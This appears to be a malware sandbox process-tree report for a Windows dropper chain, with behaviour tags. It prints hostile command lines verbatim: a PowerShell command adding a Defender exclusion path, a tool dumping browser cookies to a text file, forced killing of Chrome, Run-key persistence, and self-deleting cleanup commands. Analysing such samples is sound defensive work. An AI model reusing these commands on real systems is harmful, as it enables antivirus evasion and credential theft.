C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\be30kosd.c03\gaooo.exe & exit26⤵PID:15004
-
C:\Users\Admin\AppData\Local\Temp\be30kosd.c03\gaooo.exeC:\Users\Admin\AppData\Local\Temp\be30kosd.c03\gaooo.exe27⤵PID:15052
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt28⤵PID:2160
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt28⤵PID:12636
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4y3hdf53.bfu\md7_7dfj.exe & exit26⤵PID:8480
-
C:\Users\Admin\AppData\Local\Temp\4y3hdf53.bfu\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\4y3hdf53.bfu\md7_7dfj.exe27⤵
- Checks whether UAC is enabled
PID:7992 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ekdm0gsf.lrq\askinstall29.exe & exit26⤵PID:10084
-
C:\Users\Admin\AppData\Local\Temp\ekdm0gsf.lrq\askinstall29.exeC:\Users\Admin\AppData\Local\Temp\ekdm0gsf.lrq\askinstall29.exe27⤵PID:10496
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe28⤵PID:10720
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe29⤵
- Kills process with taskkill
PID:2324 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ncot2bil.hwx\customer4.exe & exit26⤵PID:13808
-
C:\Users\Admin\AppData\Local\Temp\ncot2bil.hwx\customer4.exeC:\Users\Admin\AppData\Local\Temp\ncot2bil.hwx\customer4.exe27⤵PID:13852
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"28⤵
- Loads dropped DLL
PID:14024 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0sl4kuco.aee\HookSetp.exe & exit26⤵PID:14348
-
C:\Users\Admin\AppData\Local\Temp\0sl4kuco.aee\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\0sl4kuco.aee\HookSetp.exe27⤵PID:14652
-
C:\ProgramData\5821330.64"C:\ProgramData\5821330.64"28⤵PID:15844
-
C:\ProgramData\4536431.49"C:\ProgramData\4536431.49"28⤵
- Suspicious behavior: SetClipboardViewer
PID:16076 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xzyq113l.asr\GcleanerWW.exe /mixone & exit26⤵PID:7792
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\invpziey.4lz\privacytools5.exe & exit26⤵PID:15248
-
C:\Users\Admin\AppData\Local\Temp\invpziey.4lz\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\invpziey.4lz\privacytools5.exe27⤵
- Suspicious use of SetThreadContext
PID:15748 -
C:\Users\Admin\AppData\Local\Temp\invpziey.4lz\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\invpziey.4lz\privacytools5.exe28⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
PID:5364 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q4z3xslt.e2o\setup.exe /8-2222 & exit26⤵PID:14632
-
C:\Users\Admin\AppData\Local\Temp\q4z3xslt.e2o\setup.exeC:\Users\Admin\AppData\Local\Temp\q4z3xslt.e2o\setup.exe /8-222227⤵
- Loads dropped DLL
- Drops file in Program Files directory
PID:2628 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Wispy-Brook"28⤵PID:15296
-
C:\Program Files (x86)\Wispy-Brook\7za.exe"C:\Program Files (x86)\Wispy-Brook\7za.exe" e -p154.61.71.51 winamp-plugins.7z28⤵
- Drops file in Program Files directory
PID:8524 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Wispy-Brook\setup.exe" -map "C:\Program Files (x86)\Wispy-Brook\WinmonProcessMonitor.sys""28⤵PID:16756
-
C:\Program Files (x86)\Wispy-Brook\setup.exe"C:\Program Files (x86)\Wispy-Brook\setup.exe" -map "C:\Program Files (x86)\Wispy-Brook\WinmonProcessMonitor.sys"29⤵
- Suspicious behavior: LoadsDriver
PID:9816 -
C:\Program Files (x86)\Wispy-Brook\7za.exe"C:\Program Files (x86)\Wispy-Brook\7za.exe" e -p154.61.71.51 winamp.7z28⤵PID:10280
-
C:\Program Files (x86)\Wispy-Brook\setup.exe"C:\Program Files (x86)\Wispy-Brook\setup.exe" /8-222228⤵PID:11200
-
C:\Program Files (x86)\Wispy-Brook\setup.exe"C:\Program Files (x86)\Wispy-Brook\setup.exe" /8-222229⤵PID:14308
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\444jesi0.yu5\MultitimerFour.exe & exit26⤵PID:16420
-
C:\Users\Admin\AppData\Local\Temp\444jesi0.yu5\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\444jesi0.yu5\MultitimerFour.exe27⤵PID:16392
-
C:\Users\Admin\AppData\Local\Temp\RHDD1JFYQJ\setups.exe"C:\Users\Admin\AppData\Local\Temp\RHDD1JFYQJ\setups.exe" ll28⤵PID:5560
-
C:\Users\Admin\AppData\Local\Temp\is-25L72.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-25L72.tmp\setups.tmp" /SL5="$901E0,549376,61440,C:\Users\Admin\AppData\Local\Temp\RHDD1JFYQJ\setups.exe" ll29⤵
- Checks computer location settings
- Loads dropped DLL
PID:5932 -
C:\Users\Admin\AppData\Local\Temp\ZN78VHHWTU\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\ZN78VHHWTU\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10428⤵
- Drops file in Windows directory
PID:17136 -
C:\Users\Admin\AppData\Local\Temp\ZN78VHHWTU\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\ZN78VHHWTU\multitimer.exe" 1 3.1616085598.6053825e29300 10429⤵
- Adds Run key to start application
PID:7560 -
C:\Users\Admin\AppData\Local\Temp\ZN78VHHWTU\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\ZN78VHHWTU\multitimer.exe" 2 3.1616085598.6053825e2930030⤵
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
PID:7872 -
C:\Users\Admin\AppData\Local\Temp\qownlt4d01d\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\qownlt4d01d\AwesomePoolU1.exe"31⤵PID:9704
-
C:\Users\Admin\AppData\Local\Temp\oyfs0ofdfuf\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\oyfs0ofdfuf\Setup3310.exe" /Verysilent /subid=57731⤵PID:10400
-
C:\Users\Admin\AppData\Local\Temp\is-H96TO.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-H96TO.tmp\Setup3310.tmp" /SL5="$3053E,138429,56832,C:\Users\Admin\AppData\Local\Temp\oyfs0ofdfuf\Setup3310.exe" /Verysilent /subid=57732⤵
- Loads dropped DLL
PID:10504 -
C:\Users\Admin\AppData\Local\Temp\is-95DJR.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-95DJR.tmp\Setup.exe" /Verysilent33⤵PID:11300
-
C:\Users\Admin\AppData\Local\Temp\is-FGJDV.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-FGJDV.tmp\Setup.tmp" /SL5="$405D2,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-95DJR.tmp\Setup.exe" /Verysilent34⤵PID:11532
-
C:\Users\Admin\AppData\Local\Temp\is-RHPP2.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-RHPP2.tmp\Delta.exe" /Verysilent35⤵PID:4092
-
C:\Users\Admin\AppData\Local\Temp\is-9G5FL.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-9G5FL.tmp\Delta.tmp" /SL5="$503D6,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-RHPP2.tmp\Delta.exe" /Verysilent36⤵PID:15104
-
C:\Users\Admin\AppData\Local\Temp\is-4D5MD.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-4D5MD.tmp\Setup.exe" /VERYSILENT37⤵
- Checks processor information in registry
PID:4500 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-4D5MD.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit38⤵PID:16688
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f39⤵
- Kills process with taskkill
PID:17196 -
C:\Windows\SysWOW64\timeout.exetimeout /t 639⤵
- Delays execution with timeout.exe
PID:8712 -
C:\Users\Admin\AppData\Local\Temp\is-RHPP2.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-RHPP2.tmp\PictureLAb.exe" /Verysilent35⤵PID:4640
-
C:\Users\Admin\AppData\Local\Temp\is-MI7JA.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-MI7JA.tmp\PictureLAb.tmp" /SL5="$603D6,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-RHPP2.tmp\PictureLAb.exe" /Verysilent36⤵PID:4448
-
C:\Users\Admin\AppData\Local\Temp\is-V205G.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-V205G.tmp\Setup.exe" /VERYSILENT37⤵PID:15612
-
C:\Users\Admin\AppData\Local\Temp\is-0AIUA.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-0AIUA.tmp\Setup.tmp" /SL5="$404DA,298214,214528,C:\Users\Admin\AppData\Local\Temp\is-V205G.tmp\Setup.exe" /VERYSILENT38⤵PID:15188
-
C:\Users\Admin\AppData\Local\Temp\is-2PHV0.tmp\HGT.exe"C:\Users\Admin\AppData\Local\Temp\is-2PHV0.tmp\HGT.exe" /S /UID=lab21439⤵
- Drops file in Drivers directory
PID:14396 -
C:\Users\Admin\AppData\Local\Temp\9a-b8143-0c5-373a4-f9643c376d451\Sidyshywyly.exe"C:\Users\Admin\AppData\Local\Temp\9a-b8143-0c5-373a4-f9643c376d451\Sidyshywyly.exe"40⤵
- Modifies system certificate store
PID:3444 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iu50o31b.sr2\gaooo.exe & exit41⤵PID:12748
-
C:\Users\Admin\AppData\Local\Temp\iu50o31b.sr2\gaooo.exeC:\Users\Admin\AppData\Local\Temp\iu50o31b.sr2\gaooo.exe42⤵PID:13908
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt43⤵PID:14060
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt43⤵PID:4528
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ko3l4zli.piu\md7_7dfj.exe & exit41⤵PID:10636
-
C:\Users\Admin\AppData\Local\Temp\ko3l4zli.piu\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\ko3l4zli.piu\md7_7dfj.exe42⤵
- Checks whether UAC is enabled
PID:15444 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\he0hcrqh.gda\askinstall29.exe & exit41⤵PID:4900
-
C:\Users\Admin\AppData\Local\Temp\he0hcrqh.gda\askinstall29.exeC:\Users\Admin\AppData\Local\Temp\he0hcrqh.gda\askinstall29.exe42⤵PID:6112
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe43⤵PID:15572
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe44⤵
- Kills process with taskkill
PID:9312 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\adudw5ec.woo\customer4.exe & exit41⤵PID:14976
-
C:\Users\Admin\AppData\Local\Temp\adudw5ec.woo\customer4.exeC:\Users\Admin\AppData\Local\Temp\adudw5ec.woo\customer4.exe42⤵PID:4208
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"43⤵PID:15504
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\l3lviiku.1b0\HookSetp.exe & exit41⤵PID:10816
-
C:\Users\Admin\AppData\Local\Temp\l3lviiku.1b0\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\l3lviiku.1b0\HookSetp.exe42⤵PID:4248
-
C:\ProgramData\3849944.42"C:\ProgramData\3849944.42"43⤵PID:7936
-
C:\ProgramData\2565045.28"C:\ProgramData\2565045.28"43⤵
- Suspicious behavior: SetClipboardViewer
PID:7932 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q5raiiqx.tgz\GcleanerWW.exe /mixone & exit41⤵PID:6108
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xajv2ux1.m4n\privacytools5.exe & exit41⤵PID:5532
-
C:\Users\Admin\AppData\Local\Temp\xajv2ux1.m4n\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\xajv2ux1.m4n\privacytools5.exe42⤵
- Suspicious use of SetThreadContext
PID:6988 -
C:\Users\Admin\AppData\Local\Temp\xajv2ux1.m4n\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\xajv2ux1.m4n\privacytools5.exe43⤵
- Suspicious behavior: MapViewOfSection
PID:8660 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\go4l5vtc.1cq\setup.exe /8-2222 & exit41⤵
- Suspicious use of SetWindowsHookEx
PID:7300 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0aw1nhzn.ljq\MultitimerFour.exe & exit41⤵PID:7928
-
C:\Users\Admin\AppData\Local\Temp\0aw1nhzn.ljq\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\0aw1nhzn.ljq\MultitimerFour.exe42⤵PID:8032
-
C:\Users\Admin\AppData\Local\Temp\S8C672O6LF\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\S8C672O6LF\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10443⤵
- Drops file in Windows directory
PID:6100 -
C:\Users\Admin\AppData\Local\Temp\S8C672O6LF\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\S8C672O6LF\multitimer.exe" 1 3.1616085669.605382a51bc0b 10444⤵
- Adds Run key to start application
PID:6652 -
C:\Users\Admin\AppData\Local\Temp\S8C672O6LF\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\S8C672O6LF\multitimer.exe" 2 3.1616085669.605382a51bc0b45⤵
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
PID:9788 -
C:\Users\Admin\AppData\Local\Temp\i4ajlprtypc\vict.exe"C:\Users\Admin\AppData\Local\Temp\i4ajlprtypc\vict.exe" /VERYSILENT /id=53546⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:7048 -
C:\Users\Admin\AppData\Local\Temp\is-KR6HU.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-KR6HU.tmp\vict.tmp" /SL5="$40664,870426,780800,C:\Users\Admin\AppData\Local\Temp\i4ajlprtypc\vict.exe" /VERYSILENT /id=53547⤵PID:12284
-
C:\Users\Admin\AppData\Local\Temp\is-9T2MA.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-9T2MA.tmp\wimapi.exe" 53548⤵PID:12408
-
C:\Users\Admin\AppData\Local\Temp\zxsk3brktr0\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\zxsk3brktr0\Setup3310.exe" /Verysilent /subid=57746⤵PID:8196
-
C:\Users\Admin\AppData\Local\Temp\is-RR15I.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-RR15I.tmp\Setup3310.tmp" /SL5="$30668,138429,56832,C:\Users\Admin\AppData\Local\Temp\zxsk3brktr0\Setup3310.exe" /Verysilent /subid=57747⤵PID:13160
-
C:\Users\Admin\AppData\Local\Temp\is-1TBN7.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-1TBN7.tmp\Setup.exe" /Verysilent48⤵PID:13984
-
C:\Users\Admin\AppData\Local\Temp\is-KAQ55.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-KAQ55.tmp\Setup.tmp" /SL5="$6064E,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-1TBN7.tmp\Setup.exe" /Verysilent49⤵PID:14880
-
C:\Users\Admin\AppData\Local\Temp\is-Q656S.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-Q656S.tmp\Delta.exe" /Verysilent50⤵PID:6048
-
C:\Users\Admin\AppData\Local\Temp\is-UUHK6.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-UUHK6.tmp\Delta.tmp" /SL5="$406F4,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-Q656S.tmp\Delta.exe" /Verysilent51⤵PID:4804
-
C:\Users\Admin\AppData\Local\Temp\is-KK9PM.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-KK9PM.tmp\Setup.exe" /VERYSILENT52⤵
- Checks processor information in registry
PID:17228 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-KK9PM.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit53⤵PID:9504
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f54⤵
- Kills process with taskkill
PID:13440 -
C:\Windows\SysWOW64\timeout.exetimeout /t 654⤵
- Delays execution with timeout.exe
PID:14128 -
C:\Users\Admin\AppData\Local\Temp\is-Q656S.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-Q656S.tmp\PictureLAb.exe" /Verysilent50⤵PID:4536
-
C:\Users\Admin\AppData\Local\Temp\is-7EKUP.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-7EKUP.tmp\PictureLAb.tmp" /SL5="$506F4,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-Q656S.tmp\PictureLAb.exe" /Verysilent51⤵PID:15276
-
C:\Users\Admin\AppData\Local\Temp\is-6C66I.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-6C66I.tmp\Setup.exe" /VERYSILENT52⤵PID:8680
-
C:\Users\Admin\AppData\Local\Temp\is-2R361.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-2R361.tmp\Setup.tmp" /SL5="$307DC,298214,214528,C:\Users\Admin\AppData\Local\Temp\is-6C66I.tmp\Setup.exe" /VERYSILENT53⤵PID:8492
-
C:\Users\Admin\AppData\Local\Temp\is-HMG9P.tmp\HGT.exe"C:\Users\Admin\AppData\Local\Temp\is-HMG9P.tmp\HGT.exe" /S /UID=lab21454⤵PID:8060
-
C:\Users\Admin\AppData\Local\Temp\cc-360d1-383-04e9d-a5d3cb3afab6c\Tukisaesyfu.exe"C:\Users\Admin\AppData\Local\Temp\cc-360d1-383-04e9d-a5d3cb3afab6c\Tukisaesyfu.exe"55⤵PID:1940
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wsum0afv.hg2\gaooo.exe & exit56⤵PID:9528
-
C:\Users\Admin\AppData\Local\Temp\wsum0afv.hg2\gaooo.exeC:\Users\Admin\AppData\Local\Temp\wsum0afv.hg2\gaooo.exe57⤵PID:15552
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt58⤵PID:15668
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt58⤵PID:14932
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\larumvqj.3eb\md7_7dfj.exe & exit56⤵PID:11464
-
C:\Users\Admin\AppData\Local\Temp\larumvqj.3eb\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\larumvqj.3eb\md7_7dfj.exe57⤵
- Checks whether UAC is enabled
PID:11340 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ampits34.kbd\askinstall29.exe & exit56⤵PID:11752
-
C:\Users\Admin\AppData\Local\Temp\ampits34.kbd\askinstall29.exeC:\Users\Admin\AppData\Local\Temp\ampits34.kbd\askinstall29.exe57⤵PID:2528
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe58⤵PID:13472
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe59⤵
- Kills process with taskkill
PID:3472 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\umappuaj.g22\customer4.exe & exit56⤵PID:13288
-
C:\Users\Admin\AppData\Local\Temp\umappuaj.g22\customer4.exeC:\Users\Admin\AppData\Local\Temp\umappuaj.g22\customer4.exe57⤵PID:4340
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"58⤵PID:14156
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vjzwfvfs.ea5\HookSetp.exe & exit56⤵PID:14284
-
C:\Users\Admin\AppData\Local\Temp\vjzwfvfs.ea5\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\vjzwfvfs.ea5\HookSetp.exe57⤵PID:6836
-
C:\ProgramData\4630870.50"C:\ProgramData\4630870.50"58⤵PID:15364
-
C:\ProgramData\4111450.45"C:\ProgramData\4111450.45"58⤵
- Suspicious behavior: SetClipboardViewer
PID:7488 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5gbqbhrd.xkj\GcleanerWW.exe /mixone & exit56⤵PID:11436
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\no3ghqvw.32r\privacytools5.exe & exit56⤵PID:2408
-
C:\Users\Admin\AppData\Local\Temp\no3ghqvw.32r\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\no3ghqvw.32r\privacytools5.exe57⤵
- Suspicious use of SetThreadContext
PID:13728 -
C:\Users\Admin\AppData\Local\Temp\no3ghqvw.32r\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\no3ghqvw.32r\privacytools5.exe58⤵
- Checks SCSI registry key(s)
PID:4704 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4mtucpx2.44v\setup.exe /8-2222 & exit56⤵
- Suspicious use of SetWindowsHookEx
PID:12856 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vhwkeev0.dks\MultitimerFour.exe & exit56⤵PID:13664
-
C:\Users\Admin\AppData\Local\Temp\vhwkeev0.dks\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\vhwkeev0.dks\MultitimerFour.exe57⤵PID:8520
-
C:\Users\Admin\AppData\Local\Temp\TL86OE6QBX\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TL86OE6QBX\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10458⤵
- Drops file in Windows directory
PID:10500 -
C:\Users\Admin\AppData\Local\Temp\TL86OE6QBX\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TL86OE6QBX\multitimer.exe" 1 3.1616085799.60538327b0368 10459⤵
- Adds Run key to start application
PID:17244 -
C:\Users\Admin\AppData\Local\Temp\TL86OE6QBX\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TL86OE6QBX\multitimer.exe" 2 3.1616085799.60538327b036860⤵
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
PID:8124 -
C:\Users\Admin\AppData\Local\Temp\s5m11lj4pau\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\s5m11lj4pau\AwesomePoolU1.exe"61⤵PID:1548
-
C:\Users\Admin\AppData\Local\Temp\fy4ywv0a5kk\vict.exe"C:\Users\Admin\AppData\Local\Temp\fy4ywv0a5kk\vict.exe" /VERYSILENT /id=53561⤵PID:7500
-
C:\Users\Admin\AppData\Local\Temp\is-3D2CO.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-3D2CO.tmp\vict.tmp" /SL5="$508AC,870426,780800,C:\Users\Admin\AppData\Local\Temp\fy4ywv0a5kk\vict.exe" /VERYSILENT /id=53562⤵PID:11760
-
C:\Users\Admin\AppData\Local\Temp\is-92R6R.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-92R6R.tmp\wimapi.exe" 53563⤵PID:11936
-
C:\Users\Admin\AppData\Local\Temp\awnddwyz351\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\awnddwyz351\Setup3310.exe" /Verysilent /subid=57761⤵PID:7716
-
C:\Users\Admin\AppData\Local\Temp\is-ALNGO.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-ALNGO.tmp\Setup3310.tmp" /SL5="$804E4,138429,56832,C:\Users\Admin\AppData\Local\Temp\awnddwyz351\Setup3310.exe" /Verysilent /subid=57762⤵PID:11212
-
C:\Users\Admin\AppData\Local\Temp\is-2G0EP.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-2G0EP.tmp\Setup.exe" /Verysilent63⤵PID:11476
-
C:\Users\Admin\AppData\Local\Temp\is-BH2Q0.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-BH2Q0.tmp\Setup.tmp" /SL5="$905BE,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-2G0EP.tmp\Setup.exe" /Verysilent64⤵PID:17056
-
C:\Users\Admin\AppData\Local\Temp\is-E6KIN.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-E6KIN.tmp\Delta.exe" /Verysilent65⤵PID:13456
-
C:\Users\Admin\AppData\Local\Temp\is-RD4J1.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-RD4J1.tmp\Delta.tmp" /SL5="$508C6,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-E6KIN.tmp\Delta.exe" /Verysilent66⤵PID:13196
-
C:\Users\Admin\AppData\Local\Temp\is-QALQQ.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-QALQQ.tmp\Setup.exe" /VERYSILENT67⤵
- Checks processor information in registry
PID:10692 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-QALQQ.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit68⤵PID:10420
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f69⤵
- Kills process with taskkill
PID:13356 -
C:\Windows\SysWOW64\timeout.exetimeout /t 669⤵
- Delays execution with timeout.exe
PID:8744 -
C:\Users\Admin\AppData\Local\Temp\is-E6KIN.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-E6KIN.tmp\PictureLAb.exe" /Verysilent65⤵PID:7344
-
C:\Users\Admin\AppData\Local\Temp\is-A8SF6.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-A8SF6.tmp\PictureLAb.tmp" /SL5="$608C6,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-E6KIN.tmp\PictureLAb.exe" /Verysilent66⤵PID:7948
-
